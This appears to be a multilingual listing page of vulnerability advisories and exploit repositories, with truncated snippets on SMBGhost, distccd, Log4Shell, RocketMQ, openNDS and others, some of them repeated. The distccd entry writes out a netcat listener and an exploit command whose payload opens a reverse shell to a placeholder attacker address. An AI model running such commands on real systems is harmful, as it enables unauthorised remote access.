CVE-2020-0796-RCE-POC

CVE-2020-0796 Proof of Concept di Esecuzione Remota di Codice c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli Errori degli Attaccanti Proof of Concept di Esecuzione Remota di Codice per CVE-2020-0796 / "SMBGhost" Risultato atteso: Reverse shell con accesso di sistema. Inteso solo per...

EUVD-2026-67292

Xiiaozet LK100W is vulnerable to OS command injection through its web-based management interface. An authenticated attacker may be able to execute arbitrary operating system commands with elevated privileges, potentially resulting in unauthorized access to sensitive information or complete device...

EUVD-2026-67297

In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...

distccd_rce_CVE-2004-2687

O objetivo deste script NÃO é usar o Metasploit e fazê-lo manualmente. Uso: root@kitploit: nc -lvnp 4466 Executando o exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

connectwise-automate-AiTM-rce

ConnectWise Automate: esecuzione remota di codice tramite Adversary-in-the-Middle Indice dei contenuti Contesto Cronologia Riflessioni e insegnamenti Divulgazione responsabile Codice PoC Report fornito a ConnectWise Sommario Configurazione vulnerabile Impatto Dettagli tecnici 1. Trasporto HTTP 2...

CVE-2026-67560

Bendix EC80 Brake ECU is vulnerable to a stack-based buffer overflow, which may allow an attacker to crash the ECU. A crafted payload can then be used to remotely execute arbitrary code or inject arbitrary CAN bus traffic. This could cause the loss of the ABS function, steering assist, speedomete...

CVE-2026-5706

In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...

Apache-RocketMQ-CVE-2023-33246-

CVE-2023-33246: Apache RocketMQ Remote Code Execution ÜBERBLICK Apache RocketMQ ist eine der beliebtesten und am weitesten verbreiteten Plattformen für verteiltes Messaging und Streaming. Kürzlich wurde eine Befehlsausführungslücke in Apache RocketMQ gemeldet, die die Version 5.1.0 und darunter...

SC3010-Computer-Security

SC3010-Computer-Security — Nachstellung des Angriffs CVE-2017-5638 Dieses Repository ist Teil des SC3010 Computer Security-Kursprojekts. Es stellt CVE-2017-5638 nach, eine kritische Remote-Code-Ausführungssicherheitslücke in Apache Struts 2 Versionen 2.3.5–2.3.31 und 2.5–2.5.10, die...

CVE-2018-1270

CVE-2018-1270 - Spring messaging SpEL Code Execution Vulnerability Gestern hat Spring einen RCE-Schwachstelle veröffentlicht, mehr dazu: CVE-2018-1270: Remote Code Execution with spring-messaging Betroffene Versionen Spring Framework 5.0 bis 5.0.4 Spring Framework 4.3 bis 4.3.14 Diese Schwachstel...

DNSRPC-BOF

DNSRPC-BOF Implementazione Beacon Object File BOF della funzionalità di dnscmd.exe utilizzata per ottenere l'esecuzione remota di codice su un server ADIDNS sfruttando l'edge ServerLevelPluginDll1 2 3 tramite MS-DNSP. 4 Lo sfruttamento richiede l'accesso a un account utente membro del gruppo...

CVE-2021-42013

CVE-2021-42013 Verwundbarer Dienst Installation Mehrere Optionen: 1. Docker-Container root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2450cve-2021-42013 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-42013.git cd...

CVE-2022-21974

CVE-2022-21974: Freigabe eines nicht initialisierten Zeigers in der Remote-Codeausführung von RMSRoamingSecurity Grundursache Der Konstruktor RMSRoamingSecurity!ATL::CComCreator ::CreateInstance weist ein CRmsRoamingSecurity-Objekt 0x3470 Bytes zu und initialisiert es, aber es gelingt ihm nicht,...

CVE-2021-28476

CVE-2021-28476: Eine "Microsoft Hyper-V Remote Code Execution Vulnerability" von Gast zu Host in vmswitch.sys. Dies ist ein Proof of Concept für CVE-2021-28476 "Hyper-V Remote Code Execution Vulnerability", einen beliebigen Speicherlesevorgang in vmswitch.sys...

CVE-2026-38821

openNDS before 11.0.0 is affected by a heap-based buffer overflow in the file http_microhttpd.c . An unauthenticated attacker on the captive portal network can crash the openNDS daemon (denial of service) and potentially achieve remote code execution . The attack requires high complexity (CVSS 3....

EUVD-2026-67361

A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the openNDS daemon denial of service and potentially achieve remote code execution. This is in httpmicrohttpd.c...

CVE-2026-38821

A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the openNDS daemon denial of service and potentially achieve remote code execution. This is in httpmicrohttpd.c...

CVE-2026-38821

A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the openNDS daemon denial of service and potentially achieve remote code execution. This is in httpmicrohttpd.c...

CVE-2026-38821

A heap-based buffer overflow vulnerability exists in openNDS before 11.0.0 that allows an unauthenticated attacker on the captive portal network to crash the openNDS daemon denial of service and potentially achieve remote code execution. This is in httpmicrohttpd.c...

LOG4J-CVE-2021-44228

LOG4J-CVE-2021-44228 Log4Shell — noto anche come CVE-2021-44228 — è una vulnerabilità critica che consente l'esecuzione remota di codice nei sistemi che utilizzano Log4j della Apache Foundation, una libreria Java open-source ampiamente utilizzata in prodotti software commerciali e open-source e...